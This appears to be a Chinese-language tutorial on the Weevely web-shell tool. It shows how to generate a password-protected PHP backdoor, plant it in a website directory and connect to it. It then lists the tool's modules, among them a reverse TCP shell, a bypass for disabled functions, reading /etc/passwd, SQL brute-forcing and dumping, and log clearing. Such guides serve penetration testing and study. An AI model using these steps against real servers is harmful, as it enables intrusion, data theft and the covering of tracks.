Weevely的使用

1：基本使用

root@kali:~# weevely

```
[+] weevely 3.2.0
[!] Error: too few arguments

[+] Run terminal to the target        //连接后门
    weevely <URL> <password> [cmd]

[+] Load session file
    weevely session <path> [cmd]

[+] Generate backdoor agent    //生成后门
    weevely generate <password> <path>
```

2：生成后门

```
weevely generate <连接密码> <path>

root@kali:~# weevely generate test hello.php

//将后门植入网站目录

weevely <url> <连接密码>

root@kali:~# weevely http://192.168.110.129/hello.php test
```

命令:

```
 :shell_su                      通过更变使用者来执行shell命令，可以获得root权限来执行命
令.
 :shell_sh                      执行 shell 命令.

 :shell_php                     执行 PHP 命令.

 :system_extensions             收集PHP和webserver扩展列表

 :system_info                   收集系统信息

 :system_procs                  列出正在运行的进程

 :audit_disablefunctionbypass   使用mod_cgi和.htaccess绕过系统禁用函数的限制。它会上
传.htaccess和CGI脚本，并在远程服务器上运行伪系统shell
 :audit_etcpasswd               查看/etc/passwd文件
 :audit_suidsgid                查找带有SUID或SGID标志的文件。
```

```
:audit_phpconf                  查看php配置信息

:audit_filesystem               审核文件系统的弱权限。枚举各种系统目录并寻找可读写执行的目
录，模块仅默认搜索部分linux下的常见目录，logs、root、home等
:backdoor_reversetcp            执行反向TCP shell. 需要nc -lvp <port>监听

:backdoor_tcp                   在TCP端口上生成shell

:net_scan                       TCP端口扫描.

:net_mail                       发送邮件.

:net_ifconfig                   获取网络接口地址.

:net_curl                       执行类似curl的HTTP请求.

:net_proxy                      运行本地代理以通过目标转移HTTP / HTTPS浏览
:net_phpproxy                   在目标上安装PHP代理.

:bruteforce_sql                 可用来猜解数据库密码.

:file_find                      查找具有给定名称和属性的文件.

:file_download                  从远程文件系统下载文件.

:file_check                     获取文件的属性和权限.
:file_touch                     更改文件时间戳.

:file_cd                        更改当前工作目录.

:file_grep                      打印与多个文件中的模式匹配的行.
:file_gzip                      压缩或解压gzip文件.

:file_tar                       压缩或解压tar文件.

:file_enum                      检查路径列表的存在和权限
:file_bzip2                     压缩或解压bzip2文件.

:file_mount                     使用HTTPfs挂载远程文件系统.

:file_clearlog                  从文件中删除字符串.

:file_zip                       压缩或解压zip文件.

:file_cp                        复制单个文件.

:file_upload2web                自动将文件上传到Web文件夹并获取相应的URL.
:file_edit                      在本地编辑器上编辑远程文件.

:file_read                      从远程文件系统中读取远程文件.
:file_webdownload               指定URL下载文件.

:file_upload                    文件上载到远程文件系统.

:file_ls                        列出目录内容.

:file_rm                        删除远程文件.
```

```
:sql_dump                       Multi dbms mysqldump replacement.

:sql_console                    执行SQL查询或运行sql控制台.
```